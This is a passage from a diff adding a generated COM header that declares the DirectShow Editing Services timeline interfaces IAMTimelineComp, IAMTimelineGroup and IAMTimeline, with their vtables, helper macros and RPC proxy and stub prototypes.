_pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IAMTimelineVirtualTrack_INTERFACE_DEFINED__ */ + + +#ifndef __IAMTimelineComp_INTERFACE_DEFINED__ +#define __IAMTimelineComp_INTERFACE_DEFINED__ + +/* interface IAMTimelineComp */ +/* [unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_IAMTimelineComp; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("EAE58536-622E-11d2-8CAD-00A024580902") + IAMTimelineComp : public IUnknown + { + public: + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE VTrackInsBefore( + IAMTimelineObj *pVirtualTrack, + long Priority) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE VTrackSwapPriorities( + long VirtualTrackA, + long VirtualTrackB) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE VTrackGetCount( + long *pVal) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetVTrack( + /* [out] */ IAMTimelineObj **ppVirtualTrack, + long Which) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetCountOfType( + long *pVal, + long *pValWithComps, + TIMELINE_MAJOR_TYPE MajorType) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetRecursiveLayerOfType( + /* [out] */ IAMTimelineObj **ppVirtualTrack, + long WhichLayer, + TIMELINE_MAJOR_TYPE Type) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetRecursiveLayerOfTypeI( + /* [out] */ IAMTimelineObj **ppVirtualTrack, + /* [out][in] */ long *pWhichLayer, + TIMELINE_MAJOR_TYPE Type) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetNextVTrack( + IAMTimelineObj *pVirtualTrack, + /* [out] */ IAMTimelineObj **ppNextVirtualTrack) = 0; + + }; + +#else /* C style interface */ + + typedef struct IAMTimelineCompVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IAMTimelineComp * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IAMTimelineComp * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IAMTimelineComp * This); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *VTrackInsBefore )( + IAMTimelineComp * This, + IAMTimelineObj *pVirtualTrack, + long Priority); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *VTrackSwapPriorities )( + IAMTimelineComp * This, + long VirtualTrackA, + long VirtualTrackB); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *VTrackGetCount )( + IAMTimelineComp * This, + long *pVal); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetVTrack )( + IAMTimelineComp * This, + /* [out] */ IAMTimelineObj **ppVirtualTrack, + long Which); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetCountOfType )( + IAMTimelineComp * This, + long *pVal, + long *pValWithComps, + TIMELINE_MAJOR_TYPE MajorType); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetRecursiveLayerOfType )( + IAMTimelineComp * This, + /* [out] */ IAMTimelineObj **ppVirtualTrack, + long WhichLayer, + TIMELINE_MAJOR_TYPE Type); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetRecursiveLayerOfTypeI )( + IAMTimelineComp * This, + /* [out] */ IAMTimelineObj **ppVirtualTrack, + /* [out][in] */ long *pWhichLayer, + TIMELINE_MAJOR_TYPE Type); + + HRESULT ( STDMETHODCALLTYPE *GetNextVTrack )( + IAMTimelineComp * This, + IAMTimelineObj *pVirtualTrack, + /* [out] */ IAMTimelineObj **ppNextVirtualTrack); + + END_INTERFACE + } IAMTimelineCompVtbl; + + interface IAMTimelineComp + { + CONST_VTBL struct IAMTimelineCompVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IAMTimelineComp_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IAMTimelineComp_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IAMTimelineComp_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IAMTimelineComp_VTrackInsBefore(This,pVirtualTrack,Priority) \ + (This)->lpVtbl -> VTrackInsBefore(This,pVirtualTrack,Priority) + +#define IAMTimelineComp_VTrackSwapPriorities(This,VirtualTrackA,VirtualTrackB) \ + (This)->lpVtbl -> VTrackSwapPriorities(This,VirtualTrackA,VirtualTrackB) + +#define IAMTimelineComp_VTrackGetCount(This,pVal) \ + (This)->lpVtbl -> VTrackGetCount(This,pVal) + +#define IAMTimelineComp_GetVTrack(This,ppVirtualTrack,Which) \ + (This)->lpVtbl -> GetVTrack(This,ppVirtualTrack,Which) + +#define IAMTimelineComp_GetCountOfType(This,pVal,pValWithComps,MajorType) \ + (This)->lpVtbl -> GetCountOfType(This,pVal,pValWithComps,MajorType) + +#define IAMTimelineComp_GetRecursiveLayerOfType(This,ppVirtualTrack,WhichLayer,Type) \ + (This)->lpVtbl -> GetRecursiveLayerOfType(This,ppVirtualTrack,WhichLayer,Type) + +#define IAMTimelineComp_GetRecursiveLayerOfTypeI(This,ppVirtualTrack,pWhichLayer,Type) \ + (This)->lpVtbl -> GetRecursiveLayerOfTypeI(This,ppVirtualTrack,pWhichLayer,Type) + +#define IAMTimelineComp_GetNextVTrack(This,pVirtualTrack,ppNextVirtualTrack) \ + (This)->lpVtbl -> GetNextVTrack(This,pVirtualTrack,ppNextVirtualTrack) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineComp_VTrackInsBefore_Proxy( + IAMTimelineComp * This, + IAMTimelineObj *pVirtualTrack, + long Priority); + + +void __RPC_STUB IAMTimelineComp_VTrackInsBefore_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineComp_VTrackSwapPriorities_Proxy( + IAMTimelineComp * This, + long VirtualTrackA, + long VirtualTrackB); + + +void __RPC_STUB IAMTimelineComp_VTrackSwapPriorities_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineComp_VTrackGetCount_Proxy( + IAMTimelineComp * This, + long *pVal); + + +void __RPC_STUB IAMTimelineComp_VTrackGetCount_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineComp_GetVTrack_Proxy( + IAMTimelineComp * This, + /* [out] */ IAMTimelineObj **ppVirtualTrack, + long Which); + + +void __RPC_STUB IAMTimelineComp_GetVTrack_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineComp_GetCountOfType_Proxy( + IAMTimelineComp * This, + long *pVal, + long *pValWithComps, + TIMELINE_MAJOR_TYPE MajorType); + + +void __RPC_STUB IAMTimelineComp_GetCountOfType_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineComp_GetRecursiveLayerOfType_Proxy( + IAMTimelineComp * This, + /* [out] */ IAMTimelineObj **ppVirtualTrack, + long WhichLayer, + TIMELINE_MAJOR_TYPE Type); + + +void __RPC_STUB IAMTimelineComp_GetRecursiveLayerOfType_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineComp_GetRecursiveLayerOfTypeI_Proxy( + IAMTimelineComp * This, + /* [out] */ IAMTimelineObj **ppVirtualTrack, + /* [out][in] */ long *pWhichLayer, + TIMELINE_MAJOR_TYPE Type); + + +void __RPC_STUB IAMTimelineComp_GetRecursiveLayerOfTypeI_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IAMTimelineComp_GetNextVTrack_Proxy( + IAMTimelineComp * This, + IAMTimelineObj *pVirtualTrack, + /* [out] */ IAMTimelineObj **ppNextVirtualTrack); + + +void __RPC_STUB IAMTimelineComp_GetNextVTrack_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IAMTimelineComp_INTERFACE_DEFINED__ */ + + +#ifndef __IAMTimelineGroup_INTERFACE_DEFINED__ +#define __IAMTimelineGroup_INTERFACE_DEFINED__ + +/* interface IAMTimelineGroup */ +/* [unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_IAMTimelineGroup; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("9EED4F00-B8A6-11d2-8023-00C0DF10D434") + IAMTimelineGroup : public IUnknown + { + public: + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE SetTimeline( + IAMTimeline *pTimeline) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetTimeline( + /* [out] */ IAMTimeline **ppTimeline) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetPriority( + long *pPriority) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetMediaType( + /* [out] */ AM_MEDIA_TYPE *__MIDL_0043) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE SetMediaType( + /* [in] */ AM_MEDIA_TYPE *__MIDL_0044) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE SetOutputFPS( + double FPS) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetOutputFPS( + double *pFPS) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE SetGroupName( + BSTR pGroupName) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetGroupName( + /* [retval][out] */ BSTR *pGroupName) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE SetPreviewMode( + BOOL fPreview) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetPreviewMode( + BOOL *pfPreview) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE SetMediaTypeForVB( + /* [in] */ long Val) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetOutputBuffering( + /* [out] */ int *pnBuffer) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE SetOutputBuffering( + /* [in] */ int nBuffer) = 0; + + virtual HRESULT STDMETHODCALLTYPE SetSmartRecompressFormat( + long *pFormat) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetSmartRecompressFormat( + long **ppFormat) = 0; + + virtual HRESULT STDMETHODCALLTYPE IsSmartRecompressFormatSet( + BOOL *pVal) = 0; + + virtual HRESULT STDMETHODCALLTYPE IsRecompressFormatDirty( + BOOL *pVal) = 0; + + virtual HRESULT STDMETHODCALLTYPE ClearRecompressFormatDirty( void) = 0; + + virtual HRESULT STDMETHODCALLTYPE SetRecompFormatFromSource( + IAMTimelineSrc *pSource) = 0; + + }; + +#else /* C style interface */ + + typedef struct IAMTimelineGroupVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IAMTimelineGroup * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IAMTimelineGroup * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IAMTimelineGroup * This); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *SetTimeline )( + IAMTimelineGroup * This, + IAMTimeline *pTimeline); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetTimeline )( + IAMTimelineGroup * This, + /* [out] */ IAMTimeline **ppTimeline); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetPriority )( + IAMTimelineGroup * This, + long *pPriority); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetMediaType )( + IAMTimelineGroup * This, + /* [out] */ AM_MEDIA_TYPE *__MIDL_0043); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *SetMediaType )( + IAMTimelineGroup * This, + /* [in] */ AM_MEDIA_TYPE *__MIDL_0044); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *SetOutputFPS )( + IAMTimelineGroup * This, + double FPS); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetOutputFPS )( + IAMTimelineGroup * This, + double *pFPS); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *SetGroupName )( + IAMTimelineGroup * This, + BSTR pGroupName); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetGroupName )( + IAMTimelineGroup * This, + /* [retval][out] */ BSTR *pGroupName); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *SetPreviewMode )( + IAMTimelineGroup * This, + BOOL fPreview); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetPreviewMode )( + IAMTimelineGroup * This, + BOOL *pfPreview); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *SetMediaTypeForVB )( + IAMTimelineGroup * This, + /* [in] */ long Val); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *GetOutputBuffering )( + IAMTimelineGroup * This, + /* [out] */ int *pnBuffer); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *SetOutputBuffering )( + IAMTimelineGroup * This, + /* [in] */ int nBuffer); + + HRESULT ( STDMETHODCALLTYPE *SetSmartRecompressFormat )( + IAMTimelineGroup * This, + long *pFormat); + + HRESULT ( STDMETHODCALLTYPE *GetSmartRecompressFormat )( + IAMTimelineGroup * This, + long **ppFormat); + + HRESULT ( STDMETHODCALLTYPE *IsSmartRecompressFormatSet )( + IAMTimelineGroup * This, + BOOL *pVal); + + HRESULT ( STDMETHODCALLTYPE *IsRecompressFormatDirty )( + IAMTimelineGroup * This, + BOOL *pVal); + + HRESULT ( STDMETHODCALLTYPE *ClearRecompressFormatDirty )( + IAMTimelineGroup * This); + + HRESULT ( STDMETHODCALLTYPE *SetRecompFormatFromSource )( + IAMTimelineGroup * This, + IAMTimelineSrc *pSource); + + END_INTERFACE + } IAMTimelineGroupVtbl; + + interface IAMTimelineGroup + { + CONST_VTBL struct IAMTimelineGroupVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IAMTimelineGroup_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IAMTimelineGroup_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IAMTimelineGroup_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IAMTimelineGroup_SetTimeline(This,pTimeline) \ + (This)->lpVtbl -> SetTimeline(This,pTimeline) + +#define IAMTimelineGroup_GetTimeline(This,ppTimeline) \ + (This)->lpVtbl -> GetTimeline(This,ppTimeline) + +#define IAMTimelineGroup_GetPriority(This,pPriority) \ + (This)->lpVtbl -> GetPriority(This,pPriority) + +#define IAMTimelineGroup_GetMediaType(This,__MIDL_0043) \ + (This)->lpVtbl -> GetMediaType(This,__MIDL_0043) + +#define IAMTimelineGroup_SetMediaType(This,__MIDL_0044) \ + (This)->lpVtbl -> SetMediaType(This,__MIDL_0044) + +#define IAMTimelineGroup_SetOutputFPS(This,FPS) \ + (This)->lpVtbl -> SetOutputFPS(This,FPS) + +#define IAMTimelineGroup_GetOutputFPS(This,pFPS) \ + (This)->lpVtbl -> GetOutputFPS(This,pFPS) + +#define IAMTimelineGroup_SetGroupName(This,pGroupName) \ + (This)->lpVtbl -> SetGroupName(This,pGroupName) + +#define IAMTimelineGroup_GetGroupName(This,pGroupName) \ + (This)->lpVtbl -> GetGroupName(This,pGroupName) + +#define IAMTimelineGroup_SetPreviewMode(This,fPreview) \ + (This)->lpVtbl -> SetPreviewMode(This,fPreview) + +#define IAMTimelineGroup_GetPreviewMode(This,pfPreview) \ + (This)->lpVtbl -> GetPreviewMode(This,pfPreview) + +#define IAMTimelineGroup_SetMediaTypeForVB(This,Val) \ + (This)->lpVtbl -> SetMediaTypeForVB(This,Val) + +#define IAMTimelineGroup_GetOutputBuffering(This,pnBuffer) \ + (This)->lpVtbl -> GetOutputBuffering(This,pnBuffer) + +#define IAMTimelineGroup_SetOutputBuffering(This,nBuffer) \ + (This)->lpVtbl -> SetOutputBuffering(This,nBuffer) + +#define IAMTimelineGroup_SetSmartRecompressFormat(This,pFormat) \ + (This)->lpVtbl -> SetSmartRecompressFormat(This,pFormat) + +#define IAMTimelineGroup_GetSmartRecompressFormat(This,ppFormat) \ + (This)->lpVtbl -> GetSmartRecompressFormat(This,ppFormat) + +#define IAMTimelineGroup_IsSmartRecompressFormatSet(This,pVal) \ + (This)->lpVtbl -> IsSmartRecompressFormatSet(This,pVal) + +#define IAMTimelineGroup_IsRecompressFormatDirty(This,pVal) \ + (This)->lpVtbl -> IsRecompressFormatDirty(This,pVal) + +#define IAMTimelineGroup_ClearRecompressFormatDirty(This) \ + (This)->lpVtbl -> ClearRecompressFormatDirty(This) + +#define IAMTimelineGroup_SetRecompFormatFromSource(This,pSource) \ + (This)->lpVtbl -> SetRecompFormatFromSource(This,pSource) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineGroup_SetTimeline_Proxy( + IAMTimelineGroup * This, + IAMTimeline *pTimeline); + + +void __RPC_STUB IAMTimelineGroup_SetTimeline_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineGroup_GetTimeline_Proxy( + IAMTimelineGroup * This, + /* [out] */ IAMTimeline **ppTimeline); + + +void __RPC_STUB IAMTimelineGroup_GetTimeline_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineGroup_GetPriority_Proxy( + IAMTimelineGroup * This, + long *pPriority); + + +void __RPC_STUB IAMTimelineGroup_GetPriority_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineGroup_GetMediaType_Proxy( + IAMTimelineGroup * This, + /* [out] */ AM_MEDIA_TYPE *__MIDL_0043); + + +void __RPC_STUB IAMTimelineGroup_GetMediaType_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineGroup_SetMediaType_Proxy( + IAMTimelineGroup * This, + /* [in] */ AM_MEDIA_TYPE *__MIDL_0044); + + +void __RPC_STUB IAMTimelineGroup_SetMediaType_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineGroup_SetOutputFPS_Proxy( + IAMTimelineGroup * This, + double FPS); + + +void __RPC_STUB IAMTimelineGroup_SetOutputFPS_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineGroup_GetOutputFPS_Proxy( + IAMTimelineGroup * This, + double *pFPS); + + +void __RPC_STUB IAMTimelineGroup_GetOutputFPS_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineGroup_SetGroupName_Proxy( + IAMTimelineGroup * This, + BSTR pGroupName); + + +void __RPC_STUB IAMTimelineGroup_SetGroupName_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineGroup_GetGroupName_Proxy( + IAMTimelineGroup * This, + /* [retval][out] */ BSTR *pGroupName); + + +void __RPC_STUB IAMTimelineGroup_GetGroupName_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineGroup_SetPreviewMode_Proxy( + IAMTimelineGroup * This, + BOOL fPreview); + + +void __RPC_STUB IAMTimelineGroup_SetPreviewMode_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineGroup_GetPreviewMode_Proxy( + IAMTimelineGroup * This, + BOOL *pfPreview); + + +void __RPC_STUB IAMTimelineGroup_GetPreviewMode_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineGroup_SetMediaTypeForVB_Proxy( + IAMTimelineGroup * This, + /* [in] */ long Val); + + +void __RPC_STUB IAMTimelineGroup_SetMediaTypeForVB_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineGroup_GetOutputBuffering_Proxy( + IAMTimelineGroup * This, + /* [out] */ int *pnBuffer); + + +void __RPC_STUB IAMTimelineGroup_GetOutputBuffering_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMTimelineGroup_SetOutputBuffering_Proxy( + IAMTimelineGroup * This, + /* [in] */ int nBuffer); + + +void __RPC_STUB IAMTimelineGroup_SetOutputBuffering_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IAMTimelineGroup_SetSmartRecompressFormat_Proxy( + IAMTimelineGroup * This, + long *pFormat); + + +void __RPC_STUB IAMTimelineGroup_SetSmartRecompressFormat_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IAMTimelineGroup_GetSmartRecompressFormat_Proxy( + IAMTimelineGroup * This, + long **ppFormat); + + +void __RPC_STUB IAMTimelineGroup_GetSmartRecompressFormat_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IAMTimelineGroup_IsSmartRecompressFormatSet_Proxy( + IAMTimelineGroup * This, + BOOL *pVal); + + +void __RPC_STUB IAMTimelineGroup_IsSmartRecompressFormatSet_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IAMTimelineGroup_IsRecompressFormatDirty_Proxy( + IAMTimelineGroup * This, + BOOL *pVal); + + +void __RPC_STUB IAMTimelineGroup_IsRecompressFormatDirty_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IAMTimelineGroup_ClearRecompressFormatDirty_Proxy( + IAMTimelineGroup * This); + + +void __RPC_STUB IAMTimelineGroup_ClearRecompressFormatDirty_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IAMTimelineGroup_SetRecompFormatFromSource_Proxy( + IAMTimelineGroup * This, + IAMTimelineSrc *pSource); + + +void __RPC_STUB IAMTimelineGroup_SetRecompFormatFromSource_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IAMTimelineGroup_INTERFACE_DEFINED__ */ + + +#ifndef __IAMTimeline_INTERFACE_DEFINED__ +#define __IAMTimeline_INTERFACE_DEFINED__ + +/* interface IAMTimeline */ +/* [unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_IAMTimeline; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("78530B74-61F9-11D2-8CAD-00A024580902") + IAMTimeline : public IUnknown + { + public: + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE CreateEmptyNode( + /* [out] */ IAMTimelineObj **ppObj, + TIMELINE_MAJOR_TYPE Type) = 0; + + virtual HRESULT STDMETHODCALLTYPE AddGroup( + IAMTimelineObj *pGroup) = 0; + + virtual HRESULT STDMETHODCALLTYPE RemGroupFromList( + IAMTimelineObj *pGroup) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetGroup( + /* [out] */ IAMTimelineObj **ppGroup, + long WhichGroup) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetGroupCount( + long *pCount) = 0; + + virtual HRESULT STDMETHODCALLTYPE ClearAllGroups( void) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetInsertMode( + long *pMode) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE SetInsertMode( + long Mode) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE EnableTransitions( + BOOL fEnabled) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE TransitionsEnabled( + BOOL *pfEnabled) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE EnableEffects( + BOOL fEnabled) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE EffectsEnabled( + BOOL *pfEnabled) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE SetInterestRange( + REFERENCE_TIME Start, + REFERENCE_TIME Stop) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetDuration( + REFERENCE_TIME *pDuration) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetDuration2( + double *pDuration) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE SetDefaultFPS( + double FPS) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetDefaultFPS( + double *pFPS) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE IsDirty( + BOOL *pDirty) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetDirtyRange( + REFERENCE_TIME *pStart, + REFERENCE_TIME *pStop) = 0; + + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE GetCountOfType( + long Group, + long *pVal, + long *pValWithComps, + TIMELINE_MAJOR_TYPE MajorType) = 0; + + virtual HRESULT STDMETHODCALLTYPE ValidateSourceNames( + long ValidateFlags, + IMediaLocator *pOverride, + LONG_PTR NotifyEventHandle) = 0; + + virtual HRESULT STDMETHODCALLTYPE SetDefaultTransition( + GUID *pGuid) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetDefaultTransition( + GUID *pGuid) = 0; + + virtual HRESULT STDMETHODCALLTYPE SetDefaultEffect( + GUID *pGuid) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetDefaultEffect( + GUID *pGuid) = 0; + + virtual HRESULT STDMETHODCALLTYPE SetDefaultTransitionB( + BSTR pGuid) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetDefaultTransitionB( + /* [retval][out] */ BSTR *pGuid) = 0; + + virtual HRESULT STDMETHODCALLTYPE SetDefaultEffectB( + BSTR pGuid) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetDefaultEffectB( + /* [retval][out] */ BSTR 